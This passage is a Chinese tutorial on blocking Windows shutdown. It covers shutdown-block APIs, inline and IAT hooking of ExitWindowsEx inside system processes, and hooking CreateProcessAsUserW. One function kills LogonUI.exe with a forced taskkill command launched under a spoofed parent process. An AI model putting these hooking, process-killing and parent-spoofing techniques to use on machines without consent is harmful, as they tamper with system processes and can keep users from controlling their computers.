{if (lParam == 0){ // 计算机正在关机ShutdownBlockReasonCreateW(hwnd, L"Please, don't kill me");}      break;
}

如果我们不执行任何操作,Windows 将显示一条警告消息,指出这些应用程序正在阻止关闭,用户可以取消关闭或强制继续关闭,无论等待的应用程序如何。在这种情况下,我们的应用程序可以通过下面两种方式之一运行:

  • 关闭它以使系统立即关闭
  • 显示一条警告消息,向用户解释为什么他们现在不应该重新启动

这适用于 Windows Vista 和更高版本的 Windows

运行该程序,在关机时可以拉起一个等待列表:

如果我们不希望其他应用程序在我们的程序响应关机消息前被关闭,我们可以调用 SetProcessShutdownParameters 函数,并将 dwLevel 参数设置为 0x4FF,这对应于系统关机序列的最高优先级。在此函数中,特别注意参数 dwFlags。如果我们将其值更改为 SHUTDOWN_NORETRY,我们的 GUI 应用程序不会阻止关闭。

dwLevel 参数表示相对于系统中其他进程的进程关闭优先级。 系统会将进程从高 dwLevel 值关闭为低值。 最高和最低关闭优先级是为系统组件保留的。 此参数必须位于以下值范围内。

含义

000-0FF

系统保留上次关闭范围。

100-1FF

应用程序保留的最后一个关闭范围。

200-2FF

应用程序保留的“介于”关机范围内。

300-3FF

应用程序保留的第一个关闭范围。

400-4FF

系统保留第一个关机范围。

需要注意的是,所有用户进程都默认从 0x280 关机级别启动。

所以正确的调用方法为:

SetProcessShutdownParameters(0x4FF, 0);// 设置关机列表优先级

下面给出一个用对话框实现的电源事件拦截器实例:

resources.h

//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by ShutdownBlocker.rc
//
#define IDD_MAINDIALOG                  101
#define IDC_BUTTON_BLOCK                1001
#define IDC_BUTTON_UNBLOCK              1002
#define IDC_STATIC_STATUS               1005// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1006
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

ShutdownBlocker.rc 

// Microsoft Visual C++ generated resource script.
//
#include "resource.h"#define APSTUDIO_READONLY_SYMBOLS
/
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"/
#undef APSTUDIO_READONLY_SYMBOLS/
// 中文(简体,中国) resources#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)#ifdef APSTUDIO_INVOKED
/
//
// TEXTINCLUDE
//1 TEXTINCLUDE 
BEGIN"resource.h\0"
END2 TEXTINCLUDE 
BEGIN"#include ""afxres.h""\r\n""\0"
END3 TEXTINCLUDE 
BEGIN"\r\n""\0"
END#endif    // APSTUDIO_INVOKED/
//
// Dialog
//IDD_MAINDIALOG DIALOGEX 0, 0, 344, 188
STYLE DS_SETFONT | DS_NOIDLEMSG | DS_SETFOREGROUND | DS_FIXEDSYS | DS_CENTER | WS_MAXIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME
EXSTYLE WS_EX_APPWINDOW
CAPTION "ShutdownBlocker"
FONT 8, "MS Shell Dlg", 400, 0, 0x1
BEGINPUSHBUTTON      "阻止关机",IDC_BUTTON_BLOCK,71,129,93,29PUSHBUTTON      "解除阻止",IDC_BUTTON_UNBLOCK,180,129,93,29CTEXT           "静态",IDC_STATIC_STATUS,100,60,139,20,SS_PATHELLIPSIS | NOT WS_GROUPGROUPBOX        "当前状态",IDC_STATIC,82,48,168,40
END/
//
// DESIGNINFO
//#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO
BEGINIDD_MAINDIALOG, DIALOGBEGINLEFTMARGIN, 7RIGHTMARGIN, 337TOPMARGIN, 5BOTTOMMARGIN, 181END
END
#endif    // APSTUDIO_INVOKED/
//
// AFX_DIALOG_LAYOUT
//IDD_MAINDIALOG AFX_DIALOG_LAYOUT
BEGIN0
END#endif    // 中文(简体,中国) resources
/#ifndef APSTUDIO_INVOKED
/
//
// Generated from the TEXTINCLUDE 3 resource.
///
#endif    // not APSTUDIO_INVOKED

ShutdownBlocker.cpp 

#include <windows.h>
#include <tchar.h>
#include "resource.h"// 标记是否已经阻止关机,默认为未阻止
BOOL blockedFlag = FALSE;// 调用注册关机阻滞原因的接口
BOOL BlockShutdown(HWND hwnd)
{if (ShutdownBlockReasonCreate(hwnd, L"当前正在保存数据,请勿关机!")){return TRUE;}return FALSE;
}BOOL UnblockShutdown(HWND hwnd)
{if (ShutdownBlockReasonDestroy(hwnd)){return TRUE;}return FALSE;
}INT_PTR CALLBACK MainDialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{HWND hcurwnd = NULL;switch(uMsg){case WM_INITDIALOG:SetDlgItemTextW(hwndDlg, IDC_STATIC_STATUS, L"未阻止关机");return TRUE;case WM_CLOSE:if (blockedFlag){if (IDYES == MessageBoxW(NULL,L"还未解除阻止,还要继续关闭程序么?",L"提示", MB_YESNO)){if (UnblockShutdown(hwndDlg)){EndDialog(hwndDlg, 0);break;}}else {return 0;}}EndDialog(hwndDlg, 0);break;case WM_QUERYENDSESSION:// 拦截 WM_QUERYENDSESSION 消息if (blockedFlag){return TRUE;}return FALSE;case WM_COMMAND:switch(LOWORD(wParam)){case IDC_BUTTON_BLOCK:if (!blockedFlag){if (BlockShutdown(hwndDlg)){SetDlgItemTextW(hwndDlg, IDC_STATIC_STATUS, L"已经阻止关机");blockedFlag = TRUE;}else{MessageBoxW(hwndDlg,L"阻止关机失败了……", L"提示", MB_OK);}}return TRUE;case IDC_BUTTON_UNBLOCK:if (blockedFlag){if (UnblockShutdown(hwndDlg)){SetDlgItemTextW(hwndDlg, IDC_STATIC_STATUS, L"未阻止关机");blockedFlag = FALSE;}else{MessageBoxW(hwndDlg, L"解除阻止失败了……", L"提示", MB_OK);}}return TRUE;default:return DefWindowProcW(hwndDlg, uMsg, wParam, lParam);}default:return 0;}}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd
)
{// 设置进程关机优先级SetProcessShutdownParameters(0x4FF, 0);DialogBoxW(hInstance, MAKEINTRESOURCE(IDD_MAINDIALOG),NULL, MainDialogProc);return 0;
}

程序执行的界面如图所示:

这个实例是网络上转载较多的一个,由于来源已经不可考证,所以就暂且当作是开源的,我稍做了改动。

3.4 挂钩电源接口[关机/重启]相关函数

3.4.1 初步分析 ExitWindowsEx 函数(Win XP / Win 7)

Windows 发生关机时,系统都进行了哪些操作?一直以来,这都困惑着我。我们总是猜测关机的响应和系统进程有关,而与外壳进程 (explorer.exe) 无关,因为任何程序都可以发起关机,只要它调用正确的例程。例如第三方程序 FastShutdown 可以实现多种电源操作,它是通过什么方法实现的呢?

随后我们通过在 IDA 反汇编,不难定位到如下函数处:

可以明显地看出关机通过 ExitWindowsEx 实现,在 MSDN 上可以查找到关于这个函数的信息。

ExitWindowsEx 函数用于注销交互式用户、关闭系统、或关闭并重启系统。 它将 WM_QUERYENDSESSION 消息发送到所有应用程序,以确定它们是否可以终止。

这个函数有两个参数,uFlagsdwReason,前者表示电源操作的组合,后者表示关机/重启原因:

BOOL ExitWindowsEx(

[in] UINT uFlags,

[in] DWORD dwReason

);

我们在虚拟机中使用 API Monitor V2winlogon.exewininit.exe 等进程进行监视发现在关机时  winlogon.exe 也会调用 ExitWindowsEx 函数:

另外一个程序 shutdown.exe 由微软提供,位于 %systemdrive%\Windows\System32\ 下,通过对它的反汇编可以找到和电源有关的多个函数:

(1)ExitWindowsEx【关机/注销/重启】

(2) NtInitiatePowerAction【睡眠/休眠】

(3)InitiateShutdownW【关机/重启的高级操作】

(4)InitiateSystemShutdownExWInitiateShutdownW 的扩展】

(5)此外还有 NtSetSystemPowerState 等强制关机函数:

这个函数和公开文档的 SetSystemPowerState 不是一个函数,NtSetSystemPowerState 有较多参数,下面是该函数的简单封装,其参数和 NtInitiatePowerAction 类似:

BOOL SystemPowerdown(IN POWER_ACTION SystemAction, IN SYSTEM_POWER_STATE MinSystemState, IN ULONG dwFlags)
{if (!NtSetSystemPowerState)return FALSE;DWORD dwRet = NtSetSystemPowerState(SystemAction, MinSystemState, dwFlags);if (dwRet == 0)return TRUE;elsereturn FALSE;
}

综上,我们想到应该可以挂钩这类函数实现关机的拦截,下面逐一分析这些函数该如何拦截。

3.4.2 使用 Detours 内联挂钩

Detours 是一个在 Windows 平台上截获任意 Win32 函数调用的工具库。钩子代码可以在运行时动态加载。

Detours 使用一个无条件转移指令来替换目标函数的最初几条指令,将控制流转移到一个用户提供的钩子拦截函数。而目标函数中的一些指令被保存在一个被称为“trampoline” (跳板)的函数中。

这些指令包括目标函数中被替换的代码以及一个重新跳转到目标函数的无条件分支。而钩子拦截函数可以替换目标函数,或者通过执行“trampoline”函数的时候将目标函数作为子程序来调用的办法来扩展功能。

Detours 定义了三个概念:

  • Target 函数:要拦截的函数,通常为 Windows 的已知 API,也可以是未导出的函数入口地址
  • Trampoline 函数:Target 函数的部分复制品。因为 Detours 将会改写 Target 函数,所以先把Target 函数的前5个字节复制保存好,一方面仍然保存 Target 函数的过程调用语义,另一方面便于以后的恢复。
  • Detour 函数:用来替代 Target 函数的钩子函数。

在 x86 平台上,DetoursTarget 函数的开头加入 JMP Address_of_ Detour_ Function 指令(共5个字节)把对 Target 函数 的调用引导到自己的 Detour 函数, 并把 Target 函数的开头的5个字节加上 JMP Address_of_ Target _ Function + 5 共10个字节作为 Trampoline 函数保存下来。

在进行内联挂钩的时候,要特别注意多核 CPU 在 Hook & Replace 过程中的影响,因为多个线程有可能"同时"调用同一个函数地址,为了解决这个问题,一个好的做法是在 Inline Hook 的过程中,把当前进程的所有线程都挂起。通过 CreateToolhelp32SnapshotSuspendThread 的配合,在完成 Inline Hook 后再恢复线程。

下面以挂钩 ExitWindowsEx 为例,讲解如何使用 Detours 进行内联挂钩:

我们可以根据 Inline Hook 的原理手动实现挂钩,例如:

/*__declspec(naked)*/ void MyExitWindowsEx(){__asm{call testMsgBox;jmp _ExitWindowsExAddTwoByte}
}// 适用于 Win7 上 User32.dll 的内联挂钩
void hook_ExitWindowsEx() {HMODULE hUser32 = GetModuleHandleW(L"user32.dll");char* pOldExitWindowsEx = reinterpret_cast<char*>(GetProcAddress(hUser32, "ExitWindowsEx"));// NOP 掉 5 字节const int iLengthCopy = 7;if (pOldExitWindowsEx != nullptr) {_copyNtShutdownSystem = VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);char* pNewAddr = reinterpret_cast<char*>(_copyNtShutdownSystem);char* pnop = pOldExitWindowsEx - 5;char aa = *pOldExitWindowsEx;char bb = *(pOldExitWindowsEx + 1);if (static_cast<char>(0x8b) == *pOldExitWindowsEx && static_cast<char>(0xff) == *(pOldExitWindowsEx + 1)) {DWORD oldshutdownProtect = 0;if (VirtualProtect(pOldExitWindowsEx - 5, iLengthCopy, PAGE_EXECUTE_READWRITE, &oldshutdownProtect)) {*pOldExitWindowsEx = static_cast<char>(0xeB); // jmp short*reinterpret_cast<USHORT*>(pOldExitWindowsEx + 1) = static_cast<USHORT>(-0x7); // addr*pnop = static_cast<char>(0xe9); // jmp*reinterpret_cast<int*>(pnop + 1) = reinterpret_cast<int>(MyExitWindowsEx) - reinterpret_cast<int>(pnop + 5); // addr_ExitWindowsExAddTwoByte = pOldExitWindowsEx + 2;VirtualProtect(pOldExitWindowsEx - 5, iLengthCopy, oldshutdownProtect, nullptr);}}}return;
}

当然,我们可以使用上文提到的比较成熟的第三方库,如 Detours 或者 MinHook 等,他们在实现内联挂钩方面的代码非常稳定。 

首先,创建一个 Win32 动态链接库项目,然后需要在 NuGet 中为当前项目安装 detours 库。

随后,引入头文件和链接库文件:

#include "detours.h"
#pragma comment(lib, "detours.lib")

随后我们需要一个指针存放原函数地址:

PVOID fpExitWindowsEx = NULL;

随后我们需要定义一个和目标函数参数一样的函数,同时给出目标函数的定义:

// 目标函数的定义
typedef BOOL (WINAPI* __funcExitWindowsEx)(_In_ UINT  uFlags,_In_ DWORD dwReason
);// 拦截注销/重启之类的钩子函数
BOOL WINAPI HookedExitWindowsEx(_In_ UINT  uFlags,_In_ DWORD dwReason
);

随后,我们需要编写钩子的事务过程函数:

挂钩时,首先使用 DetourFindFunction 获取目标函数的地址,并保存到 fpExitWindowsEx 中。

然后,调用 DetourAttach 将钩子打到目标函数入口处。

// 挂钩过程
void StartHookingFunction()
{// 开始事务DetourTransactionBegin();// 更新线程信息  DetourUpdateThread(GetCurrentThread());fpExitWindowsEx =DetourFindFunction("user32.dll","ExitWindowsEx");// 将拦截的函数附加到原函数的地址上,// 这里可以拦截多个函数。DetourAttach(&(PVOID&)fpExitWindowsEx,HookedExitWindowsEx);// 结束事务DetourTransactionCommit();
}

卸载/脱钩的过程也要写好:

脱钩主要通过 DetourDetach 并传递相同的参数来实现。

// 脱钩过程
void UnmappHookedFunction()
{//开始事务DetourTransactionBegin();//更新线程信息 DetourUpdateThread(GetCurrentThread());//将拦截的函数从原函数的地址上解除,这里可以解除多个函数。DetourDetach(&(PVOID&)fpExitWindowsEx,HookedExitWindowsEx);//结束事务DetourTransactionCommit();
}

随后,我们可以编写好我们的钩子函数:

BOOL WINAPI HookedExitWindowsEx(_In_ UINT  uFlags,_In_ DWORD dwReason
)
{WCHAR lpMsg[64]{};WCHAR lpCap[] = L"Windows LogonManager";DWORD Result = 0;/* uFlags == 65536(win8注销),什么鬼?win 8.1 关机 4268041, 重启 73731, 注销 65536win 7 关机 65545, 重启65539, 注销 65536Vista 开始菜单关机 65545, 注销 65536, 重启 65539(^ 同 Win7)*/switch(uFlags){case 65536:wsprintf(lpMsg, L"正在取消注销计算机的任务计划,请稍后......\n", uFlags);break;case 4268041: case 65545:wsprintf(lpMsg, L"正在取消关闭计算机的任务计划,请稍后......\n", uFlags);break;case 73731: case 65539:wsprintf(lpMsg, L"正在取消重启计算机的任务计划,请稍后......\n", uFlags);break;default:wsprintf(lpMsg, L"正在取消用户发起的电源操作,请稍后......\n未知参数 uFlags [%d]\n", uFlags);break;}// 发出阻滞对话框SvcMessageBox(lpCap, lpMsg, MB_OK | MB_APPLMODAL | MB_ICONINFORMATION, TRUE, Result);SetLastError(995);//995 = 由于线程退出或应用程序请求,I/O 操作已中止。return FALSE;
}

其中,消息对话框不能使用 MessageBox 函数。因为 Winlogon 进程位于安全桌面, MessageBox 函数会在当前线程桌面下创建窗口,而 Winlogon 桌面是当前活动桌面,我们的窗口无法穿透桌面曾而被我们看到。窗口无法在桌面上绘制,但是对话框确实阻滞了进程,此时我们将无法继续鼠标操作。于是,我们考虑采用 WTSGetActiveConsoleSessionIdWTSSendMessageW,将对话框发送到指定的会话(Session),也就是类似于 Session 0 穿透。

#include <WtsApi32.h>
#pragma comment(lib, "WtsApi32.lib")BOOL SvcMessageBox(LPWSTR lpCap, LPWSTR lpMsg, DWORD style, BOOL bWait, DWORD& result)
{if (NULL == lpMsg || NULL == lpCap)return FALSE;result = 0;DWORD sessionXId = WTSGetActiveConsoleSessionId();return WTSSendMessageW(WTS_CURRENT_SERVER_HANDLE, sessionXId,lpCap, (DWORD)wcslen(lpCap) * sizeof(DWORD),lpMsg, (DWORD)wcslen(lpMsg) * sizeof(DWORD),style, 0, &result, bWait);
}

关于 uFlags 为什么不是公开文档中的值的组合,这可能涉及到未公开的内容。我们只需要,分析出每个系统版本上的参数的值和对应的作用,然后对不同操作进行分类即可。 

然后,我们只需要在主函数中调用钩子过程以进行拦截。

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{DisableThreadLibraryCalls(hModule);switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:StartHookingFunction();break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:UnmappHookedFunction();break;}return TRUE;
}

下图展示了在 Win XP 上的测试效果:

这是在 Win 8 的效果:

使用内联挂钩修改这个函数,在 Win 8 之前的操作系统上普遍适用,但是在 Win 10 / 11 上则起不到作用。起初,我以为是不再使用该函数了,随后,在反汇编中依然可以看到该函数,只不过变成了延迟加载的函数( __imp_ DelayLoadFunction )。延迟调用就是在程序启动时不自动加载函数所在的链接库,而是等到需要使用的时候再加载,也就是说在调用前,程序是没有这个函数的,所以 Detours 挂钩会失效,这时候我们考虑到使用 IAT HOOKDelay IAT Hook 挂钩模块导入表和延迟加载导入表。

下面的代码实现了 IAT Hook ExitWindowsEx

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files#include <Windows.h>
#include <Psapi.h>
#include <Tlhelp32.h>#include <Shlwapi.h>
#include <stdlib.h>
#include <tchar.h>
#include <sddl.h>#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma warning(disable:4996)LPVOID _copyNtShutdownSystem = NULL;
LPVOID _ExitWindowsExAddTwoByte = NULL;typedef BOOL(WINAPI* FuncExitWindowsEx)(_In_ UINT uFlags, _In_ DWORD dwReason);
FuncExitWindowsEx _OldExitWindowsEx = NULL;BOOL WINAPI IATHookedFun(_In_ UINT uFlags, _In_ DWORD dwReason) {BOOL bRet = FALSE;static BOOL bNeedWarning = FALSE;if (bNeedWarning) {MessageBoxW(NULL, _TEXT("弹框提示"), _TEXT("提示"), MB_ICONINFORMATION | MB_OK);}// 调用原函数bRet = _OldExitWindowsEx(uFlags, dwReason);if (bRet) {bNeedWarning = TRUE;}return bRet;//return FALSE;
}BYTE* getNtHdrs(BYTE* pe_buffer) {if (pe_buffer == NULL) return NULL;// 将 PE 缓冲区转换为 DOS 头结构IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;// 验证 DOS 头的签名,以确保它是有效的 PE 文件if (idh->e_magic != IMAGE_DOS_SIGNATURE) {return NULL;}// 定义 PE 头允许的最大偏移量const LONG kMaxOffset = 1024;// 获取从 DOS 标头到 PE 标头的偏移量LONG pe_offset = idh->e_lfanew;// 验证到PE头的偏移量是否在允许的范围内if (pe_offset > kMaxOffset) return NULL;// 将偏移后的缓冲区地址转换为指向 PE 头结构体的指针IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((BYTE*)pe_buffer + pe_offset);if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;return (BYTE*)inh;
}IMAGE_DATA_DIRECTORY* getPeDir(PVOID pe_buffer, size_t dir_id) {if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;// 从 PE 缓冲区获取 NT 头结构体的指针BYTE* nt_headers = getNtHdrs((BYTE*)pe_buffer);// 验证是否可以获得 NT 头if (nt_headers == NULL) return NULL;// 指向 PE 文件数据目录的指针IMAGE_DATA_DIRECTORY* peDir = NULL;// 将 NT 头转换为适当的结构体指针IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;// 获取具有指定 ID 的数据表地址peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);if (peDir->VirtualAddress == NULL) {return NULL;}return peDir;
}bool FixDelayIATHook(PVOID modulePtr) {// 获取模块导入表的地址IMAGE_DATA_DIRECTORY* importsDir = getPeDir(modulePtr, IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT);if (importsDir == nullptr)return false;size_t maxSize = importsDir->Size;            // 导入表大小size_t impAddr = importsDir->VirtualAddress;  // 导入表首地址// 从 User32.dll 库获取 ExitWindowSex 函数的地址size_t addrExitWindowsEx = reinterpret_cast<size_t>(GetProcAddress(GetModuleHandleW(L"User32"), "ExitWindowsEx"));// 迭代延迟导入描述符for (size_t parsedSize = 0; parsedSize < maxSize; parsedSize += sizeof(IMAGE_DELAYLOAD_DESCRIPTOR)) {IMAGE_DELAYLOAD_DESCRIPTOR* lib_desc = reinterpret_cast<IMAGE_DELAYLOAD_DESCRIPTOR*>(impAddr + parsedSize + reinterpret_cast<ULONG_PTR>(modulePtr));// 检查延迟导入描述符是否为空if (lib_desc->ImportAddressTableRVA == 0 && lib_desc->ImportNameTableRVA == 0)break;// 获取链接库名称LPSTR lib_name = reinterpret_cast<LPSTR>(reinterpret_cast<ULONGLONG>(modulePtr) + lib_desc->DllNameRVA);size_t call_via = lib_desc->ImportAddressTableRVA;size_t thunk_addr = lib_desc->ImportNameTableRVA;// 如果名称表的偏移量为0,使用地址表if (thunk_addr == 0)thunk_addr = lib_desc->ImportAddressTableRVA;// 迭代导入表中的字段for (size_t offsetField = 0, offsetThunk = 0;; offsetField += sizeof(IMAGE_THUNK_DATA), offsetThunk += sizeof(IMAGE_THUNK_DATA)) {IMAGE_THUNK_DATA* fieldThunk = reinterpret_cast<IMAGE_THUNK_DATA*>(reinterpret_cast<size_t>(modulePtr) + offsetField + call_via);IMAGE_THUNK_DATA* orginThunk = reinterpret_cast<IMAGE_THUNK_DATA*>(reinterpret_cast<size_t>(modulePtr) + offsetThunk + thunk_addr);// 检查两个字段是否都为空以退出循环if (fieldThunk->u1.Function == 0 && orginThunk->u1.Function == 0)break;// 检查是否使用序号来获取函数的地址if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {// 函数的地址也可以通过获取序号的后两个字节来获得size_t addrOld = reinterpret_cast<size_t>(GetProcAddress(LoadLibraryA(lib_name),reinterpret_cast<char*>(orginThunk->u1.Ordinal & 0xFFFF)));continue;}else { // 使用函数名获取函数地址PIMAGE_IMPORT_BY_NAME by_name = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<size_t>(modulePtr) + orginThunk->u1.AddressOfData);LPSTR func_name = reinterpret_cast<LPSTR>(by_name->Name);size_t addrOld = reinterpret_cast<size_t>(GetProcAddress(LoadLibraryA(lib_name), func_name));// 如果函数是“ExitWindowSex”,则执行钩子并解除内存保护if (_stricmp(func_name, "ExitWindowsEx") == 0) {DWORD dOldProtect = 0;size_t* pFuncAddr = reinterpret_cast<size_t*>(&fieldThunk->u1.Function);if (VirtualProtect(pFuncAddr, sizeof(size_t), PAGE_EXECUTE_READWRITE, &dOldProtect)) {fieldThunk->u1.Function = reinterpret_cast<size_t>(IATHookedFun);            // 钩子函数VirtualProtect(pFuncAddr, sizeof(size_t), dOldProtect, &dOldProtect);_OldExitWindowsEx = reinterpret_cast<FuncExitWindowsEx>(addrExitWindowsEx);  // 存储原始函数地址return true;}break;}}}}return true;
}bool FixIATHook(PVOID modulePtr) {// 获取模块导入表的地址IMAGE_DATA_DIRECTORY* importsDir = getPeDir(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);if (importsDir == NULL)return false;// 获取导入表的大小和虚拟地址size_t maxSize = importsDir->Size;size_t impAddr = importsDir->VirtualAddress;// 从 User32 库获取“ExitWindowSex”函数的地址size_t addrExitWindowsEx = (size_t)GetProcAddress(GetModuleHandleW(L"User32.dll"), "ExitWindowsEx");// 迭代导入表中的导入库的描述符for (size_t parsedSize = 0; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {// 获取当前导入库的描述符IMAGE_IMPORT_DESCRIPTOR* lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr);if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL)break;// 获取导入库的名称LPSTR lib_name = (LPSTR)((size_t)modulePtr + lib_desc->Name);// 获取 thunks 的调用地址和函数指针size_t call_via = lib_desc->FirstThunk;size_t thunk_addr = lib_desc->OriginalFirstThunk;if (thunk_addr == NULL)thunk_addr = lib_desc->FirstThunk;// 迭代原始 thunk 和 thunk 字段for (size_t offsetField = 0, offsetThunk = 0;; offsetField += sizeof(IMAGE_THUNK_DATA), offsetThunk += sizeof(IMAGE_THUNK_DATA)) {// 获得当前 thunksIMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via);IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr);// 验证是否已到达 thunks 的结尾if (fieldThunk->u1.Function == 0 && orginThunk->u1.Function == 0)break;PIMAGE_IMPORT_BY_NAME by_name = nullptr;LPSTR func_name = nullptr;size_t addrOld = NULL;// 验证是否按顺序或名称导入函数if (orginThunk->u1.Ordinal & (IMAGE_ORDINAL_FLAG32 | IMAGE_ORDINAL_FLAG64)) {// 按序号导入addrOld = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF));continue;}else {// 按名称导入by_name = (PIMAGE_IMPORT_BY_NAME)(size_t(modulePtr) + orginThunk->u1.AddressOfData);func_name = (LPSTR)by_name->Name;addrOld = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name);}// HOOKif (strcmpi(func_name, "ExitWindowsEx") == 0) {// 更改为指向钩子函数的地址DWORD dOldProtect = 0;size_t* pFuncAddr = (size_t*)&fieldThunk->u1.Function;if (VirtualProtect(pFuncAddr, sizeof(size_t), PAGE_EXECUTE_READWRITE, &dOldProtect)) {fieldThunk->u1.Function = (size_t)IATHookedFun;  // 钩子函数VirtualProtect(pFuncAddr, sizeof(size_t), dOldProtect, &dOldProtect);_OldExitWindowsEx = (FuncExitWindowsEx)addrExitWindowsEx;  // 存储原始函数地址return true;}}}}return true;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: {HMODULE exeModule = GetModuleHandleW(NULL);// 调用挂钩过程FixIATHook(exeModule);FixDelayIATHook(exeModule);break;}case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;}return TRUE;
}

然而,结果是并不能够真正拦截关机,因为在 Win 10/11 调用 ExitWindowsEx 时,已经进入了关机的中间阶段,此时你会看到正在关机的全屏界面(这是 LogonUI.exe 的界面)。所以,挂钩这个函数只能实现在关机页面短暂地弹出一个对话框,并随着关机到最后一步 Winlogon 的退出而消失。

3.4.3 挂钩 InitiateShutdownW 函数(Win 8/8.1)

Win 8/8.1 上,挂钩 ExitWindowsEx 会导致卡在“请稍后”页面(也是 LogonUI.exe)拉起的,而且使用 Alt+F4 等一些关机方式不会调用 ExitWindowsEx ,而是调用 InitiateShutdownW

所以我们需要把这个函数也挂钩起来即可,但需要有一个技巧,要把 LogonUI.exe 也杀死。下面是用于杀死进程的代码:

// 通过调用外部程序实现终止进程,比如taskkill.exe
inline void KillLogonUIProcess()
{WCHAR lpExePath[] = L"cmd.exe /c taskkill /F /IM LogonUI.exe";/* 根据进程名获取任意进程Id */DWORD  pid = 512;HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);/* 创建启动信息结构体 */STARTUPINFOEXW si;/* 初始化结构体 */ZeroMemory(&si, sizeof(si));/* 设置结构体成员 */si.StartupInfo.cb = sizeof(si);SIZE_T lpsize = 0;/* 用微软规定的特定的函数初始化结构体 */InitializeProcThreadAttributeList(NULL, 1, 0, &lpsize);/* 转换指针到正确类型 */char* temp = new char[lpsize];LPPROC_THREAD_ATTRIBUTE_LIST AttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)temp;/* 真正为结构体初始化属性参数 */InitializeProcThreadAttributeList(AttributeList, 1, 0, &lpsize);/* 用已构造的属性结构体更新属性表 */if (!UpdateProcThreadAttribute(AttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL)) {return;}si.lpAttributeList = AttributeList;PROCESS_INFORMATION pi;ZeroMemory(&pi, sizeof(pi));((__CreateProcessAsUserW)fpCreateProcessAsUserW)(NULL, 0, lpExePath, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, (LPSTARTUPINFOW)&si, &pi);DeleteProcThreadAttributeList(AttributeList);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);delete[] temp;
}

那我们如何知道 LogonUI.exe 启动了呢?别急,我之前在 R3 下挂钩 AppInfo Service 的进程创建(用于创建管理员进程,他会拉起 consent.exe 进程)一文里面说到系统进程创建子进程用的是 CreateProcessAsUserW 函数,我们只要把这个函数顺便也挂钩起来即可(而且这里调用不会并发,不会出现问题):

// 全局变量用于保存进程句柄
HANDLE lpProcessHandle = NULL;// 挂钩 CreateProcessAsUserW 监控进程创建
BOOL WINAPI HookedCreateProcessAsUserW(_In_opt_ HANDLE hToken,_In_opt_ LPCWSTR lpApplicationName,_Inout_opt_ LPWSTR lpCommandLine,_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,_In_ BOOL bInheritHandles,_In_ DWORD dwCreationFlags,_In_opt_ LPVOID lpEnvironment,_In_opt_ LPCWSTR lpCurrentDirectory,_In_ LPSTARTUPINFOW lpStartupInfo,_Out_ LPPROCESS_INFORMATION lpProcessInformation
)
{BOOL ret = FALSE;// 先调用原函数ret = ((__CreateProcessAsUserW)fpCreateProcessAsUserW)(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes,lpThreadAttributes, bInheritHandles, dwCreationFlags,lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);if(lpCommandLine != nullptr)if (wcsstr(lpCommandLine, L"LogonUI.exe"))lpProcessHandle = lpProcessInformation->hProcess;// 保存进程句柄return ret;// 返回函数
}

然后,在 HOOK InitiateShutdownW 时,只需要顺便关闭进程即可:

